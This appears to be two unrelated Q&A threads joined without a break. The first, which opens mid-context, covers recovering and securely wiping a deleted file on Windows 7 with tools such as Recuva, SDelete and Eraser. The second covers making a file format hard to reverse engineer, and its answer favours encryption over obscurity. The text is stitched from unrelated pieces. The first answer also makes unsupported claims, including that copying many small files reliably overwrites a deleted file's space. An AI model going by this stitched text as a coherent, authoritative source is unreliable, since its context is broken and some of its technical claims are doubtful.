Today I forgot to do that and I wonder what to do now. How do I shred a file that's been unlinked?

I'm using Windows 7 operating system.

At the moment I tried creating thousands of tiny files ranging from 1mb to 200mb and just copying them a hundred times in the file system, but it takes way too long.

Any other suggestions to do this quicker?

First of all (just to be on the safe side) verify the file isn't in the Recycle Bin. If it is, choose Restore and of course shred the recovered file (or maybe you can shred it while inside the Recycle Bin).

If the file has been "truly deleted", recover it using an undelete tool such as Piriform's Recuva, then shred it for good.

Note (suggested by Chris H): deletion under most filesystems is lazy, i.e. the space occupied by the file is simply marked as reusable. Until it is actually reused, the old data is still there and may be recovered. Undelete tools can work in two ways: they can mark that space as occupied again, or they can read the space and make a copy elsewhere. You want the first kind of undeletion, since you want to make the original space accessible to the shredder and destroy it -- not make a copy that will leave the original space still maybe recoverable again and again.

A deleted file might be recoverable using Windows Shadow Copy, which is available since XP and enabled by default in Windows 7+. In an earlier edit I wrote 'chances are that it is disabled'. I should have written "on an unrelated note, ensure that it is disabled". VSS will not help you to shred a deleted file, since (as Chris H noticed) it will actually make another copy. You do not recover the original file space, which remains unshredded. For this reason, your company's IT admins should have disabled VSS on your computer. Otherwise, any "shredded" file may actually have several unshredded and recoverable copies lying around the disk.

DIY overwrite

However: a newly copied file (with VSS disabled) would be at the beginning of the free space area. If you copy a couple thousand files having the same size of the filesystem cluster size (or 1K if you're in doubt), you should be pretty sure that the file has been made unrecoverable even if it has not been "officially shredded".

"Official" overwrite tools

If you really want to be sure use a tool such as SDelete and tell it to wipe the disk's free space (be careful - not the allocated space!). Or you can use Piriform's CCleaner and do the same thing from the Tools menu. Another tool I just discovered by chance, and is recommended by Gutmann himself, is Eraser.

Unless the disk is carefully examined with an electron scanning microscope, nobody's ever going to be able to tell whether the file was shredded with the mandated tool or not before becoming totally irretrievable. If you use SDelete or such in so-called "secure" mode (aka Gutmann erase), even an electron scanning microscope will be none the wiser. Mandatory point: Gutmann erase is serious overkill even in Gutmann's own opinion.

(The above may of course not apply if the company shred executable keeps and possibly transmits a record of the MD5 of every file it shreds).


How to create a format that is very difficult to reverse engineer? I am learning about file formats. I have an application that will do analytics and will have some personal information. I need to make it such that only some people are able to access data and even those people get very limited access according to an api that I will provide. I am thinking about encryption as well as using a proprietary format to make it difficult to reverse engineer anything. Encryption will allow only people with key to access the data and file format will stop people from looking into the data directly and using only an api of the platform. Although I am not very knowledgeable about it, I have heard that it is relatively easy to reverse engineer file formats. I want to create a file format that will be difficult to reverse engineer so that application is safe. Please give me pointers on what will help make a format difficult to reverse engineer. Also, are there any metrics that help know safety of an algorithm against reverse engineering attack?

I am thinking about encryption as well as using a proprietary format to make it difficult to reverse engineer anything.....
  I want to create a file format that will be difficult to reverse engineer so that application is safe.

A file format which is difficult to reverse engineer is way more difficult to implement correctly in the application than a simple file format. This means testing the application will be harder and strange and hard to reproduce bugs will occur. Also probably security relevant bugs will be introduced without somebody noticing it because the code to support a complex format is way harder to review than code supporting a simple format.
Because of this the application will not be more safe but actually less safe.

In summary: don't try to reach security by adding unneeded complexity. Instead keep it simple and rely on properly implemented encryption for security, since you want to use encryption anyway.